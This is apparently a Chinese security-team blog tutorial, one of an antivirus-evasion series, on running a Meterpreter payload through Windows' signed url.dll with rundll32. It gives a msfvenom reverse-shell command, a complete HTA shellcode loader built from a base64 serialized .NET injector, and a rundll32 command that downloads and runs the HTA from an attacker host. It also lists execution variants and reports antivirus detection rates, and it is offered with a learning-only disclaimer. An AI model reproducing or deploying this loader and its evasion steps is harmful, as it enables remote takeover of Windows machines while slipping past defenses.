远控免杀专题(57)-白名单Url.dll执行payload

admin 2022年7月24日20:37:28程序逆向评论8 views15428字阅读51分25秒阅读模式
远控免杀专题(57)-白名单Url.dll执行payload

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!



声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus


一、url.dll 简介

url.dll是Internet快捷壳扩展相关应用程序接口系统文件。说明:url.dll所在路径已被系统添加PATH环境变量中,因此,url.dll命令可识别,但由于为dll文件,需调用rundll32.exe来执行。

Windows 2003 默认位置:

C:WindowsSystem32url.dllC:WindowsSysWOW64url.dll

Windows 7 默认位置:

C:WindowsSystem32url.dllC:WindowsSysWOW64url.dll

二、url.dll 执行payload

2.1 执行hta木马

msfvenom生成shell.bin

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=4444  -f raw > shell.bincat shell.bin |base64 -w 0

将生成的payload复制到code处。保存为shell.hta

<script language="VBScript">
Dim binary : binary ="rundll32.exe"
Dim code : code ="payload"//payload插入
Sub Debug(s) End Sub Sub SetVersion End Sub
Function Base64ToStream(b)Dim enc, length, ba, transform, msSet enc = CreateObject("System.Text.ASCIIEncoding")length = enc.GetByteCount_2(b)Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")Set ms = CreateObject("System.IO.MemoryStream")ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b),0, length),0,((length /4)*3)ms.Position =0Set Base64ToStream = msEnd Function
Sub RunDim s, entry_classs ="AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"s = s &"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"s = s &"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"s = s &"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"s = s &"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"s = s &"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"s = s &"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"s = s &"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"s = s &"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"s = s &"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"s = s &"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"s = s 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&"Z3MAZHdGbGFncwBEdXBsaWNhdGVPcHRpb25zAGR3WENvdW50Q2hhcnMAZHdZQ291bnRDaGFycwBU"s = s &"ZXJtaW5hdGVQcm9jZXNzAGhQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBBZGRyZXNzAGxwU3RhcnRB"s = s &"ZGRyZXNzAENvbmNhdABPYmplY3QAZmxQcm90ZWN0AGxwRW52aXJvbm1lbnQAQ29udmVydABoU3Rk"s = s &"SW5wdXQAaFN0ZE91dHB1dAB3U2hvd1dpbmRvdwBWaXJ0dWFsQWxsb2NFeABiaW5hcnkAV3JpdGVQ"s = s &"cm9jZXNzTWVtb3J5AGxwQ3VycmVudERpcmVjdG9yeQBvcF9FcXVhbGl0eQBvcF9JbmVxdWFsaXR5"s = s &"AAAAAAABABlQAHIAbwBnAHIAYQBtAFcANgA0ADMAMgAADXcAaQBuAGQAaQByAAAVXABTAHkAcwBX"s = s &"AE8AVwA2ADQAXAAAFVwAUwB5AHMAdABlAG0AMwAyAFwAAAMwAAAARY+bzuLqxE+aSSAzLsphXgAE"s = s &"IAEBCAMgAAEFIAEBEREEIAEBDgQgAQECDgcJHQUYEhwREA4YGAgYBQABHQUOBAABDg4DIAAIBgAD"s = s &"Dg4ODgIGGAMgAA4FAAICDg4EAAEIHAi3elxWGTTgiQQBAAAABAIAAAAEBAAAAAQIAAAABBAAAAAE"s = s &"IAAAAARAAAAABIAAAAAEAAEAAAQAAgAABAAEAAAEAAgAAAQAEAAABAAgAAAEAEAAAAQAgAAABAAA"s = s &"AQAEAAACAAQAAAQABAAACAAEAAAQAAQAACAABAAAAAEEAAAAAgQAAAAEBAAAAAgEAAAAEAQAAAAg"s = s &"BAAAAEAEAAAAgAQAMAAABAAAQAACBggCBgICBgkDBhEUAwYRGAIGBgMGESADBhEkEwAKGA4OEgwS"s = s &"DAIRFBgOEhwQERAKAAUYGBgYESARJAkABQIYGB0FGAgFAAICGAkKAAcYGBgJGBgJGAUgAgEODggB"s = s &"AAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQACAAAAAAAQAQALQ0FDVFVT"s = s &"VE9SQ0gAAAUBAAAAAAUBAAEAACkBACQ1NjU5OGYxYy02ZDg4LTQ5OTQtYTM5Mi1hZjMzN2FiZTU3"s = s &"NzcAAAwBAAcxLjAuMC4wAAAASDUAAAAAAAAAAAAAYjUAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAA"s = s &"AFQ1AAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAA"s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAA"s = s &"ADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAANAMAAAAAAAAAAAAANAM0AAAAVgBTAF8A"s = s &"VgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAAD8AAAAA"s = s &"AAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQA"s = s &"BAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBJQCAAABAFMAdAByAGkAbgBnAEYAaQBs"s = s &"AGUASQBuAGYAbwAAAHACAAABADAAMAAwADAAMAA0AGIAMAAAADAADAABAEMAbwBtAG0AZQBuAHQA"s = s &"cwAAAEMAQQBDAFQAVQBTAFQATwBSAEMASAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAA"s = s &"AAAAAAAAAEAADAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABDAEEAQwBUAFUA"s = s &"UwBUAE8AUgBDAEgAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAu"s = s &"ADAAAABAABAAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAQQBDAFQAVQBTAFQATwBSAEMA"s = s &"SAAuAGQAbABsAAAAPAAMAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBBAEMAVABV"s = s &"AFMAVABPAFIAQwBIAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAA"s = s &"AABIABAAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBBAEMAVABVAFMAVABP"s = s &"AFIAQwBIAC4AZABsAGwAAAA4AAwAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEMAQQBDAFQA"s = s &"VQBTAFQATwBSAEMASAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAw"s = s &"AC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAA"s = s &"LgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"s = s &"AAAAAAAAAAAAAAAAADAAAAwAAAB0NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"s = s &"AAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVmbGVjdGlv"s = s &"bi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA"
entry_class ="cactusTorch"Dim fmt, al, d, oSet fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")Set al = CreateObject("System.Collections.ArrayList")al.Add fmt.SurrogateSelector
Set d = fmt.Deserialize_2(Base64ToStream(s))Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)o.flame binary,codeEnd Sub
SetVersionOn Error Resume NextRunIf Err.Number <>0 ThenDebug Err.DescriptionErr.ClearEnd Ifself.close</script>

目标机器运行调用url.dll下载payload

rundll32.exe url.dll,OpenURL http://10.211.55.10/shell.hta

远控免杀专题(57)-白名单Url.dll执行payload

可以看到只有360拦截了可疑程序run32dll.exe 点击允许操作后可上线。

远控免杀专题(57)-白名单Url.dll执行payload

放在virustotal.com查杀率23/57

远控免杀专题(57)-白名单Url.dll执行payload

2.2执行exe木马

rundll32.exe绕过杀软的执行方式

rundll32.exe url.dll, OpenURL file://c:windowssystem32calc.exerundll32.exe url.dll, OpenURLA file://c:windowssystem32calc.exerundll32.exe url.dll, FileProtocolHandler calc.exe

生成msf.exe木马,由AVIATOR生成的,具体参考远控免杀专题(14)-AVIator(VT免杀率25/69)

远控免杀专题(57)-白名单Url.dll执行payload

执行后360提示木马。点击允许程序运行后可上线。

远控免杀专题(57)-白名单Url.dll执行payload

放在virustotal.com上msf.exe查杀率为33/69

远控免杀专题(57)-白名单Url.dll执行payload

三、参考资料

基于白名单Url.dll执行payload第十七季:https://micro8.github.io/Micro8-HTML/Chapter1/81-90/89_%E5%9F%BA%E4%BA%8E%E7%99%BD%E5%90%8D%E5%8D%95Url.dll%E6%89%A7%E8%A1%8Cpayload%E7%AC%AC%E5%8D%81%E4%B8%83%E5%AD%A3.html



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远控免杀专题(57)-白名单Url.dll执行payload


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远控免杀专题(57)-白名单Url.dll执行payload


远控免杀专题(57)-白名单Url.dll执行payload


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  • 本文由 发表于 2022年7月24日20:37:28
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